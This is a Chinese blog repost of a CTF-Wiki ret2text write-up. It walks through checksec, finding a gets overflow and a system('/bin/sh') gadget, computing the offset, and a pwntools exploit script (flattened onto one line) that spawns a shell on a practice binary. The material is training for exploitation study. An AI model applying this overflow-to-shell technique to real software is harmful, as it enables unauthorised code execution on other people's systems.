博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[PWN] CTF-WIKI ret2text
阅读量:794 次
发布时间:2019-03-25

本文共 649 字,大约阅读时间需要 2 分钟。

ret2text

首先我们打开题目,checksec一下,主要是查看一下该程序是多少位的,并了解其保护机制

在这里插入图片描述
32位的小端位程序,没有开启canary堆栈保护及NX,于是我们用32位ida打开在这里插入图片描述
我们打开ida-32,看到源码,发现了一个get函数,这属于我们常说的危险函数
在函数框,我们找到了一个secure函数,调出来,发现有一个system("/bin/sh")函数在这里插入图片描述
这个时候,我们只需要知道调用system函数的指令的地址,然后当get函数执行时我们把get函数的ret上准备ret的地址换成调用system函数的指令的地址就行了,往上一翻,找到了call system的地址
在这里插入图片描述
要想知道get的ret地址,我们得分析这个get函数的堆栈
下断点在此处call _gets处在这里插入图片描述
在这里插入图片描述
执行后看到esp是0xffffd0e0 FFFFD0FC
ebp是0xffffd168在这里插入图片描述
这里,由于它是esp寻址,所以S对于esp的偏移是+1ch,算出esp的值FFFFD0FC,用FFFFD168-FFFFD0FC可以算出ebp的偏移,为6c
构建exp

#!/usr/bin/env pythonfrom pwn import *sh = process('./ret2text')target = 0x804863ash.sendline('A' * (0x6c+4) + p32(target))sh.interactive()

这里S对ebp是6c,但根据栈堆结构,还要加一个4在这里插入图片描述

这是我原文章的图。。。链接:

转载地址:http://xjjyk.baihongyu.com/

你可能感兴趣的文章